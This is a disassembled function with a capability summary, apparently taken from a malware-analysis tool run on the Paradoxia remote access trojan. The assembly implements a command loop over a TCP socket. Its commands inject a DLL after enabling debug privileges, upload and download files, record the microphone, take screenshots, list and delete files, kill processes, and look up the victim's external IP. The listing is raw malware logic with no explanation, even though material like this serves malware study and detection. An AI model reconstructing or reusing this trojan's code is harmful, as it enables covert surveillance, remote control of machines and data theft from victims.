Function at 0x402050
Capabilities:
Acquire debug privileges
Act as tcp client
Capture microphone audio
Check internet connectivity via wininet
Connect socket
Connect tcp socket
Connect udp socket
Create http request
Create tcp socket
Create udp socket
Delete file
Download and write a file
Enumerate files on windows
Enumerate files recursively
Read and send data from client to server
Read data from internet
Read file on windows
Receive and write data from server to client
Receive data
Receive data on socket
Send data
Send data on socket
Send http request
Set current directory
Write file on windows

Disassembly:
push edi
push esi
push ebx
sub esp, 0x20
call fcn.00402000
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 6
mov dword [esp + 4], 1
mov dword [esp], 2
call dword [sym.imp.WS2_32.dll_WSASocketA]
mov dword [0x41117c], eax
sub esp, 0x18
cmp eax, 0xffffffff
je 0x40215f
mov dword [esp], str.127.0.0.1
call dword [sym.imp.WS2_32.dll_inet_addr]
sub esp, 4
mov dword [0x411184], eax
mov dword [esp], 0x1bb
call dword [sym.imp.WS2_32.dll_htons]
mov edx, 2
mov ebx, dword [sym.imp.WS2_32.dll_connect]
mov edi, dword [sym.imp.WS2_32.dll_closesocket]
mov word [0x411182], ax
mov esi, dword [sym.imp.WS2_32.dll_WSACleanup]
sub esp, 4
mov word [0x411180], dx
lea esi, [esi]
mov eax, dword [0x41117c]
mov dword [esp + 8], 0x10
mov dword [esp + 4], 0x411180
mov dword [esp], eax
call ebx
sub esp, 0xc
cmp eax, 0xffffffff
je 0x402130
mov dword [0x411dc0], 1
add esp, 0x20
pop ebx
pop esi
pop edi
jmp 0x4021c0
mov eax, dword [0x41117c]
mov dword [esp], eax
call edi
sub esp, 4
call esi
mov dword [esp], 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
sub esp, 4
call fcn.00402050
mov eax, dword [0x411dc0]
test eax, eax
je 0x4020f0
jmp 0x40211c
mov dword [esp], str.Socket_Creation_Error.
call fcn.00401e00
call fcn.004015e0
mov dword [esp], 1
call sub.msvcrt.dll_exit
lea esi, [esi]
sub esp, 0x1c
mov eax, dword [0x41117c]
mov dword [esp], eax
call dword [sym.imp.WS2_32.dll_closesocket]
sub esp, 4
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov dword [esp], 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
sub esp, 4
add esp, 0x1c
jmp fcn.00402050
push ebp
mov eax, 0x118c
push edi
push esi
push ebx
call fcn.00404ff0
sub esp, eax
mov edi, dword [0x411dc0]
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
mov ebp, dword [sym.imp.WS2_32.dll_recv]
test edi, edi
mov dword [esp + 0x30], eax
jne 0x40234e
jmp 0x4024a1
mov dword [esp + 4], str.fdll
mov dword [esp], 0x4115c0
call sub.msvcrt.dll_strcmp
mov ebx, eax
test eax, eax
je 0x4024e0
mov dword [esp + 4], str.fupload
mov dword [esp], 0x4115c0
call sub.msvcrt.dll_strstr
mov ebx, eax
test eax, eax
jne 0x402860
mov dword [esp + 4], str.micstart
mov dword [esp], 0x4115c0
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x402948
mov dword [esp + 4], str.micstop
mov dword [esp], 0x4115c0
call sub.msvcrt.dll_strstr
test eax, eax
je 0x4029d0
mov dword [esp], 0x4115c0
lea esi, [esp + 0x180]
xor eax, eax
mov dword [esp + 8], 0x40c1e0
mov edi, esi
mov dword [esp + 4], 0x4115a0
mov word [0x4115a0], ax
mov byte [0x4115a2], 0
call fcn.00401600
mov eax, ebx
mov ecx, 0x32
rep stosd dword es:[edi], eax
mov eax, dword [0x4115a4]
mov dword [esp + 8], str.save_paradoxia__s
mov dword [esp + 4], 0xc8
mov dword [esp + 0xc], eax
mov dword [esp], esi
call fcn.00401e30
mov ebx, dword [sym.imp.WINMM.DLL_mciSendStringA]
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], str.stop_paradoxia
call ebx
sub esp, 0x10
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], esi
call ebx
sub esp, 0x10
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], str.close_paradoxia
call ebx
sub esp, 0x10
lea esi, cs:[esi]
mov edx, dword [0x411dc0]
test edx, edx
je 0x4024a1
mov eax, dword [esp + 0x30]
mov dword [esp], 0x64
mov edi, 0x4115c0
call eax
xor eax, eax
mov ecx, 0x100
rep stosd dword es:[edi], eax
mov eax, dword [0x41117c]
sub esp, 4
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x400
mov dword [esp + 4], 0x4115c0
mov dword [esp], eax
call ebp
sub esp, 0x10
cmp eax, 0xffffffff
je 0x402730
mov dword [esp + 4], str.frecv
mov dword [esp], 0x4115c0
call sub.msvcrt.dll_strcmp
mov ebx, eax
test eax, eax
jne 0x4021f8
mov edx, 0x4111a0
mov ecx, 0x100
xor esi, esi
mov dword [esp + 0x180], 0
mov edi, edx
mov word [0x4115a0], si
rep stosd dword es:[edi], eax
mov eax, dword [0x41117c]
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x400
mov dword [esp + 4], edx
mov dword [esp], eax
call ebp
sub esp, 0x10
cmp eax, 0xffffffff
je 0x402c70
mov dword [esp + 8], 0x40c1e0
mov dword [esp + 4], 0x4115a0
mov dword [esp], 0x4111a0
call fcn.00401600
mov eax, dword [0x4115a4]
mov dword [esp], eax
call sub.msvcrt.dll_atoi
mov dword [esp + 0x18], 0
mov dword [esp + 0x28], eax
mov eax, dword [0x4115a0]
mov dword [esp + 0x14], pe_nt_image_headers32
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
sub esp, 0x1c
mov esi, eax
cmp eax, 0xffffffff
jne 0x402750
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str._Error_Creating_File__:__ld
mov dword [esp + 4], eax
call fcn.00401e60
mov edx, dword [0x411dc0]
test edx, edx
jne 0x40234e
mov eax, dword [0x41117c]
mov dword [esp], eax
call dword [sym.imp.WS2_32.dll_closesocket]
sub esp, 4
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov dword [esp], 0x7d0
mov eax, dword [esp + 0x30]
call eax
sub esp, 4
add esp, 0x118c
pop ebx
pop esi
pop edi
pop ebp
jmp fcn.00402050
mov edx, 0x4111a0
mov ecx, 0x100
mov edi, edx
rep stosd dword es:[edi], eax
mov eax, dword [0x41117c]
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x400
mov dword [esp + 4], edx
mov dword [esp], eax
call ebp
sub esp, 0x10
cmp eax, 0xffffffff
je 0x402be8
mov dword [esp + 8], 0x40c1e0
mov dword [esp + 4], 0x4115a0
mov dword [esp], 0x4111a0
call fcn.00401600
mov eax, dword [0x4115a4]
mov dword [esp], eax
call sub.msvcrt.dll_atoi
mov edi, dword [0x4115a8]
mov dword [esp + 4], str.None
mov dword [esp + 0x28], eax
mov dword [esp], edi
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x402930
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [esp + 0x38], eax
mov ecx, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov eax, dword [esp + 0x28]
mov edi, 0x4115c0
lea esi, [eax + 1]
mov dword [esp + 0x3c], ecx
call ecx
mov dword [esp + 0x34], esi
mov dword [esp + 8], esi
mov dword [esp + 4], 0
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ecx, 0x100
mov esi, eax
xor eax, eax
sub esp, 0xc
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x34]
mov dword [esp + 4], 0
mov dword [esp], esi
mov dword [esp + 8], eax
call sub.msvcrt.dll_memset
mov edi, dword [esp + 0x28]
jmp 0x4025f5
test eax, eax
je 0x402640
lea edx, [esi + ebx]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x4115c0
mov dword [esp], edx
call sub.msvcrt.dll_memcpy
add ebx, dword [0x4115ac]
cmp ebx, edi
je 0x402640
mov eax, dword [0x41117c]
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x400
mov dword [esp + 4], 0x4115c0
mov dword [esp], eax
call ebp
mov dword [0x4115ac], eax
sub esp, 0x10
cmp eax, 0xffffffff
jne 0x4025d0
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2746
je 0x402848
mov eax, dword [0x4115ac]
test eax, eax
jne 0x4025d4
nop
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [esp + 8], 0x411160
mov dword [esp + 4], 0x28
mov dword [esp], eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
sub esp, 0xc
test eax, eax
jne 0x402c18
mov eax, dword [esp + 0x38]
mov dword [esp + 4], 0
mov dword [esp], 0x43a
mov dword [esp + 8], eax
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [0x411164], eax
sub esp, 0xc
test eax, eax
je 0x402c90
mov ecx, dword [esp + 0x34]
mov dword [esp + 0xc], 0
mov dword [esp + 4], esi
mov dword [esp + 8], ecx
mov dword [esp], eax
call fcn.00403ea0
mov dword [0x411168], eax
sub esp, 0x10
test eax, eax
je 0x402ce8
mov dword [esp + 4], 0xffffffff
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
sub esp, 8
mov eax, dword [esp + 0x38]
mov dword [esp], str.DLL_OK:_ld
mov dword [esp + 4], eax
call fcn.00401e60
mov eax, dword [esp + 0x3c]
call eax
mov dword [esp + 8], esi
mov dword [esp + 4], 0
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [0x411164]
sub esp, 0xc
test eax, eax
je 0x402340
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
jmp 0x402340
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2746
jne 0x40239a
mov dword [0x411dc0], 0
jmp 0x40239a
mov ecx, 0x100
xor eax, eax
mov edi, 0x4115c0
rep stosd dword es:[edi], eax
mov edi, dword [sym.imp.KERNEL32.dll_WriteFile]
jmp 0x4027b1
test eax, eax
je 0x402800
lea edx, [esp + 0x180]
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov dword [esp + 4], 0x4115c0
mov dword [esp], esi
call edi
add ebx, dword [0x4115ac]
sub esp, 0x14
mov dword [esp + 0x2c], eax
mov eax, dword [esp + 0x28]
cmp ebx, eax
je 0x402800
mov eax, dword [0x41117c]
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x400
mov dword [esp + 4], 0x4115c0
mov dword [esp], eax
call ebp
mov dword [0x4115ac], eax
sub esp, 0x10
cmp eax, 0xffffffff
jne 0x402770
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2746
je 0x402cb8
mov eax, dword [0x4115ac]
test eax, eax
jne 0x402778
nop
mov ecx, dword [esp + 0x2c]
test ecx, ecx
jne 0x402bb0
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str._Error_Writing_file__s_of__s_size__Error_:__ld.
mov dword [esp + 0xc], eax
mov eax, dword [0x4115a4]
mov dword [esp + 8], eax
mov eax, dword [0x4115a0]
mov dword [esp + 4], eax
call fcn.00401e60
mov dword [esp], esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
jmp 0x402340
mov dword [0x411dc0], 0
jmp 0x4025f1
mov dword [esp + 8], 0x40c1e0
xor edx, edx
mov dword [esp + 4], 0x4115a0
mov dword [esp], 0x4115c0
mov word [0x4115a0], dx
mov byte [0x4115a2], 0
call fcn.00401600
mov eax, dword [0x4115a0]
cmp byte [eax], 0
je 0x402e50
mov eax, dword [0x4115a4]
cmp byte [eax], 0
je 0x402e50
mov dword [esp + 4], 0x40c31f
mov dword [esp], eax
call sub.msvcrt.dll_fopen
mov ebx, eax
test eax, eax
je 0x402d10
mov dword [esp + 8], 2
mov dword [esp + 4], 0
mov dword [esp], eax
call sub.msvcrt.dll_fseek
mov dword [esp], ebx
call sub.msvcrt.dll_ftell
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov esi, eax
mov dword [esp], ebx
call sub.msvcrt.dll_fseek
test esi, esi
jg 0x402d48
mov eax, dword [0x4115a4]
mov dword [esp], str.File__s_is_of_0_bytes.
mov dword [esp + 4], eax
call fcn.00401e60
mov dword [esp], ebx
call sub.msvcrt.dll_fclose
jmp 0x402340
mov dword [esp], edi
call fcn.00401770
mov dword [esp + 0x38], eax
jmp 0x40256d
mov ebx, dword [sym.imp.WINMM.DLL_mciSendStringA]
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], str.open_new_type_waveaudio_alias_paradoxia
call ebx
sub esp, 0x10
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], str.set_prime_time_format_ms
call ebx
sub esp, 0x10
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], str.record_paradoxia_notify
call ebx
sub esp, 0x10
mov dword [esp], str.___Now_recording_microphone.
call fcn.00401e60
jmp 0x402340
mov dword [esp + 4], str.host
mov dword [esp], 0x4115c0
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x402d38
movzx ebx, byte [0x4115c0]
cmp ebx, 0x6f
jne 0x402a18
cmp byte [0x4115c1], 0x73
jne 0x402a18
cmp byte [0x4115c2], 0
jne 0x402a18
call fcn.00403740
jmp 0x402340
mov dword [esp + 4], str.processors
mov dword [esp], 0x4115c0
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x402e3f
mov dword [esp + 4], str.pagesize
mov dword [esp], 0x4115c0
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x402e61
mov dword [esp + 4], str.minappaddr
mov dword [esp], 0x4115c0
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x402e2e
mov dword [esp + 4], str.maxappaddr
mov dword [esp], 0x4115c0
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x402e8c
mov dword [esp + 4], str.agent
mov dword [esp], 0x4115c0
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x402e72
mov dword [esp + 4], str.ramsize
mov dword [esp], 0x4115c0
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x402e9d
mov dword [esp + 4], str.vramsize
mov dword [esp], 0x4115c0
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x402f48
mov dword [esp + 4], str.listdir
mov dword [esp], 0x4115c0
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x402f59
cmp ebx, 0x63
jne 0x402eae
cmp byte [0x4115c1], 0x64
jne 0x402eae
movzx eax, byte [0x4115c2]
test eax, eax
jne 0x402eae
mov ecx, 0x100
mov edi, 0x4115c0
rep stosd dword es:[edi], eax
mov eax, dword [0x41117c]
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x400
mov dword [esp + 4], 0x4115c0
mov dword [esp], eax
call ebp
sub esp, 0x10
cmp eax, 0xffffffff
je 0x4031c7
mov dword [esp], 0x4115c0
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
sub esp, 4
test eax, eax
jne 0x4031ad
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 3
je 0x403478
cmp eax, 5
je 0x40345f
cmp eax, 2
jne 0x4034c9
mov dword [esp + 4], 2
mov dword [esp], str.Error_Changing_Directory__File_or_Folder_not_Found__Error_code__i_
call fcn.00401e60
jmp 0x402340
mov edi, dword [0x4115a0]
call fcn.004035e0
mov dword [esp + 8], ebx
mov dword [esp + 0xc], eax
mov eax, dword [0x4115a0]
mov dword [esp + 0x10], edi
mov dword [esp + 4], eax
mov dword [esp], str.F_OK__s__i__s_s
call fcn.00401e60
jmp 0x402834
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2746
jne 0x402518
mov eax, dword [0x411dc0]
test eax, eax
je 0x4024a1
add esp, 0x118c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [0x41116c], 1
mov dword [0x411178], 2
mov dword [esp + 8], 0x411170
mov dword [esp + 4], str.SeDebugPrivilege
mov dword [esp], 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
sub esp, 0xc
test eax, eax
jne 0x402df0
mov eax, dword [0x411160]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
jmp 0x40266a
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2746
jne 0x402404
mov dword [0x411dc0], 0
jmp 0x402404
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp + 4], str.Failed_to_open_the_target_process
mov dword [esp + 8], eax
mov dword [esp], str._____s._Error_ld
call fcn.00401e60
jmp 0x4026eb
mov eax, dword [0x4115a4]
mov dword [esp], str._X__Connection_interrupted_while_receiving_file__s_for__s_size.
mov dword [0x411dc0], 0
mov dword [esp + 8], eax
mov eax, dword [0x4115a0]
mov dword [esp + 4], eax
call fcn.00401e00
jmp 0x4027a9
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp + 4], str.Failed_to_inject_the_DLL
mov dword [esp + 8], eax
mov dword [esp], str._____s._Error_ld
call fcn.00401e60
jmp 0x4026eb
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__Error_Opening_file__s__Error__ld___
mov dword [esp + 8], eax
mov eax, dword [0x4115a4]
mov dword [esp + 4], eax
call fcn.00401e60
jmp 0x402340
call fcn.00403570
jmp 0x402340
mov eax, dword [0x4115a4]
mov dword [esp + 8], esi
mov dword [esp], str.FILE:_s:_ld
mov dword [esp + 4], eax
call fcn.00401e60
mov eax, dword [esp + 0x30]
mov dword [esp], 0x3e8
call eax
mov ecx, 0x7d
xor eax, eax
sub esp, 4
lea esi, [esp + 0x180]
mov edi, esi
rep stosd dword es:[edi], eax
mov edi, dword [sym.imp.WS2_32.dll_send]
jmp 0x402dcd
mov dword [esp + 0xc], ebx
mov dword [esp + 8], 0x1f4
mov dword [esp + 4], 1
mov dword [esp], esi
call sub.msvcrt.dll_fread
test eax, eax
jle 0x402dd9
mov dword [esp + 8], eax
mov eax, dword [0x41117c]
mov dword [esp + 0xc], 0
mov dword [esp + 4], esi
mov dword [esp], eax
call edi
sub esp, 0x10
mov dword [esp], ebx
call sub.msvcrt.dll_feof
test eax, eax
je 0x402d90
mov dword [esp], ebx
call sub.msvcrt.dll_fclose
jmp 0x402340
mov eax, dword [0x411160]
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x41116c
mov dword [esp + 4], 0
mov dword [esp], eax
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
sub esp, 0x18
jmp 0x402c54
mov dword [esp], 2
call fcn.00403890
jmp 0x402340
mov dword [esp], 0
call fcn.00403890
jmp 0x402340
mov dword [esp], str.__Invalid_File_Download_Request___n
call fcn.00401e60
jmp 0x402340
mov dword [esp], 1
call fcn.00403890
jmp 0x402340
call fcn.00403700
mov dword [esp], 0x40c45d
mov dword [esp + 4], eax
call fcn.00401e60
jmp 0x402340
mov dword [esp], 3
call fcn.00403890
jmp 0x402340
mov dword [esp], 1
call fcn.00403940
jmp 0x402340
mov dword [esp + 4], str.delete
mov dword [esp], 0x4115c0
call sub.msvcrt.dll_strstr
mov ebx, eax
test eax, eax
je 0x40303d
mov dword [esp + 8], 0x40c1e0
xor eax, eax
mov dword [esp + 4], 0x4115a0
mov dword [esp], 0x4115c0
mov word [0x4115a0], ax
mov byte [0x4115a2], 0
call fcn.00401600
mov eax, dword [0x4115a4]
mov dword [esp], eax
call fcn.00403540
test eax, eax
mov eax, dword [0x4115a4]
je 0x40317d
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
sub esp, 4
test eax, eax
je 0x403192
call fcn.004035e0
mov dword [esp], str.DEL_OK__s__s
mov dword [esp + 8], eax
mov eax, dword [0x4115a4]
mov dword [esp + 4], eax
call fcn.00401e60
jmp 0x402340
mov dword [esp], 0
call fcn.00403940
jmp 0x402340
lea ebx, [esp + 0x40]
mov dword [esp + 0x34], eax
mov dword [esp + 4], ebx
mov dword [esp], 0x40c479
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
sub esp, 8
cmp eax, 0xffffffff
mov dword [esp + 0x28], eax
mov edx, dword [esp + 0x34]
je 0x402340
lea esi, [esp + 0x180]
mov eax, edx
mov ecx, 0x100
mov edi, esi
rep stosd dword es:[edi], eax
lea edi, [esp + 0x6c]
call fcn.004035e0
mov dword [esp + 8], str.Listing__s_n____________________n
mov dword [esp + 0xc], eax
mov dword [esp + 4], 0x400
mov dword [esp], esi
call fcn.00401e30
jmp 0x402ff3
mov dword [esp + 0xc], edi
mov dword [esp + 8], str._DIRECTORY___s_n
mov dword [esp + 4], edx
mov dword [esp], eax
call fcn.00401e30
mov eax, dword [esp + 0x28]
mov dword [esp + 4], ebx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
sub esp, 8
test eax, eax
je 0x4031e7
mov dword [esp], esi
call sub.msvcrt.dll_strlen
mov edx, 0x400
sub edx, eax
add eax, esi
mov dword [esp + 0x38], eax
test byte [esp + 0x40], 0x10
jne 0x402fbf
mov eax, dword [esp + 0x60]
mov ecx, dword [esp + 0x5c]
mov dword [esp + 0xc], edi
mov dword [esp + 8], str._FILE___s___llu_bytes__n
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x38]
mov dword [esp + 0x14], ecx
mov dword [esp + 4], edx
mov dword [esp], eax
call fcn.00401e30
jmp 0x402fd7
mov dword [esp + 4], str.kill
mov dword [esp], 0x4115c0
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x4034bd
mov dword [esp + 4], 0x40c609
mov dword [esp], 0x4115c0
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x403491
mov dword [esp + 4], str.screenshot
mov dword [esp], 0x4115c0
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x403310
mov dword [esp + 4], str.psinfo
mov dword [esp], 0x4115c0
call sub.msvcrt.dll_strstr
test eax, eax
je 0x4032a8
mov dword [esp + 8], 0x40c1e0
xor edi, edi
mov dword [esp + 4], 0x4115a0
mov dword [esp], 0x4115c0
mov word [0x4115a0], di
lea edi, [esp + 0x180]
mov byte [0x4115a2], 0
call fcn.00401600
mov eax, ebx
mov ecx, 0x100
rep stosd dword es:[edi], eax
mov eax, dword [0x4115a4]
mov dword [esp], eax
call fcn.00401770
mov ebx, eax
test eax, eax
je 0x403520
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
sub esp, 0xc
mov esi, eax
test eax, eax
je 0x403506
lea eax, [esp + 0x180]
mov dword [esp + 0xc], 0x104
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], esi
call sub.KERNEL32.dll_K32GetModuleFileNameExA
sub esp, 0x10
test eax, eax
je 0x4034de
lea eax, [esp + 0x180]
mov dword [esp + 8], ebx
mov dword [esp + 0xc], eax
mov eax, dword [0x4115a4]
mov dword [esp], str.PROCESS__s__ld__s
mov dword [esp + 4], eax
call fcn.00401e60
jmp 0x402834
mov dword [esp + 4], eax
mov dword [esp], str.File__s_does_not_exist.
call fcn.00401e60
jmp 0x402340
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.Error_Deleting_file_:__i
mov dword [esp + 4], eax
call fcn.00401e60
jmp 0x402340
call fcn.004035e0
mov dword [esp], str.Directory_Changed_to__s
mov dword [esp + 4], eax
call fcn.00401e60
jmp 0x402340
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2746
jne 0x402b57
mov dword [0x411dc0], 0
jmp 0x402b57
mov edx, dword [esp + 0x34]
mov dword [esp + 0x28], edx
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov dword [esp], esi
mov ebx, eax
call sub.msvcrt.dll_strlen
mov edi, eax
test eax, eax
je 0x402340
mov edx, dword [esp + 0x28]
mov eax, dword [sym.imp.WS2_32.dll_send]
cmp ebx, 0x2746
mov ebx, edx
mov edx, eax
jne 0x40322e
jmp 0x40326d
add ebx, eax
mov edx, dword [esp + 0x28]
cmp edi, ebx
jle 0x402340
mov eax, edi
mov dword [esp + 0xc], 0
sub eax, ebx
mov dword [esp + 0x28], edx
mov dword [esp + 8], eax
lea eax, [esi + ebx]
mov dword [esp + 4], eax
mov eax, dword [0x41117c]
mov dword [esp], eax
call edx
sub esp, 0x10
test eax, eax
jns 0x403220
jmp 0x402340
add ebx, eax
mov edx, dword [esp + 0x28]
cmp edi, ebx
jle 0x402340
mov eax, edi
mov dword [esp + 0xc], 0
sub eax, ebx
mov dword [esp + 0x28], edx
mov dword [esp + 8], eax
lea eax, [esi + ebx]
mov dword [esp + 4], eax
mov eax, dword [0x41117c]
mov dword [esp], eax
call edx
mov dword [0x411dc0], 0
sub esp, 0x10
test eax, eax
jns 0x40325f
jmp 0x402340
mov dword [esp + 4], str.isadmin
mov dword [esp], 0x4115c0
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x403423
mov dword [esp + 4], str.wanip
mov dword [esp], 0x4115c0
call sub.msvcrt.dll_strcmp
mov esi, eax
test eax, eax
je 0x403347
mov dword [esp + 4], str.paradoxiapid
mov dword [esp], 0x4115c0
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x40332d
call fcn.00403700
mov dword [esp], str.paradoxiaPID:_s
mov dword [esp + 4], eax
call fcn.00401e60
jmp 0x402340
mov ebx, dword [0x41117c]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
mov dword [esp], eax
mov dword [esp + 4], ebx
call fcn.00401830
jmp 0x402340
mov eax, dword [0x41117c]
mov dword [esp + 4], 0x4115c0
mov dword [esp], eax
call fcn.00401660
jmp 0x402340
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], str.http:__www.google.com
call dword [sym.imp.WININET.DLL_InternetCheckConnectionA]
sub esp, 0xc
test eax, eax
je 0x40343d
lea ebx, [esp + 0x180]
mov eax, esi
mov ecx, 0x100
mov edi, ebx
rep stosd dword es:[edi], eax
xor ecx, ecx
xor edi, edi
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], ecx
mov dword [esp + 8], ecx
mov dword [esp + 4], ecx
mov dword [esp], ecx
call dword [sym.imp.WININET.DLL_InternetOpenA]
sub esp, 0x14
mov esi, eax
xor eax, eax
mov dword [esp], esi
mov dword [esp + 0x14], edi
mov dword [esp + 0x10], 0x80000000
mov dword [esp + 0xc], eax
mov dword [esp + 8], eax
mov dword [esp + 4], str.https:__myexternalip.com_raw
call dword [sym.imp.WININET.DLL_InternetOpenUrlA]
sub esp, 0x18
mov edi, eax
lea eax, [esp + 0x40]
mov dword [esp + 4], ebx
mov dword [esp], edi
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x1000
call dword [sym.imp.WININET.DLL_InternetReadFile]
xor edx, edx
sub esp, 0x10
mov eax, dword [esp + 0x40]
mov dword [esp + eax*4 + 0x180], edx
mov dword [esp], edi
mov edi, dword [sym.imp.WININET.DLL_InternetCloseHandle]
call edi
push ecx
mov dword [esp], esi
call edi
push esi
mov dword [esp + 4], ebx
mov dword [esp], str.WANIP:_s
call fcn.00401e60
jmp 0x402340
call fcn.00403620
test eax, eax
je 0x40344e
mov dword [esp], str.ADMIN:TRUE
call fcn.00401e60
jmp 0x402340
mov dword [esp], str.No_Internet_Connection_detected.
call fcn.00401e60
jmp 0x402340
mov dword [esp], str.ADMIN:FALSE
call fcn.00401e60
jmp 0x402340
mov dword [esp + 4], 5
mov dword [esp], str.Error_Changing_Directory__Access_Denied__Error_Code__i_
call fcn.00401e60
jmp 0x402340
mov dword [esp + 4], 3
mov dword [esp], str.Error_Changing_Directory__Path_not_found__Error_Code__i_
call fcn.00401e60
jmp 0x402340
mov dword [esp], str.Dying_until_next_reboot._n
xor ebp, ebp
call fcn.00401e60
mov eax, dword [esp + 0x30]
mov dword [0x411dc0], ebp
mov dword [esp], 0x7d0
call eax
push eax
xor eax, eax
mov dword [esp], eax
call sub.msvcrt.dll_exit
xor eax, eax
mov dword [0x411dc0], eax
jmp 0x4024a1
mov dword [esp + 4], eax
mov dword [esp], str.Error_Changing_Directory__Error__i
call fcn.00401e60
jmp 0x402340
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp + 8], ebx
mov dword [esp + 0xc], eax
mov eax, dword [0x4115a4]
mov dword [esp], str.PROCESS__s__ld__error_:__ld_
mov dword [esp + 4], eax
call fcn.00401e60
jmp 0x402834
mov eax, dword [0x4115a4]
mov dword [esp], str.Failed_to_open_Process_:__s
mov dword [esp + 4], eax
call fcn.00401e60
jmp 0x402340
mov dword [esp], str.Process_not_running.
call fcn.00401e60
jmp 0x402340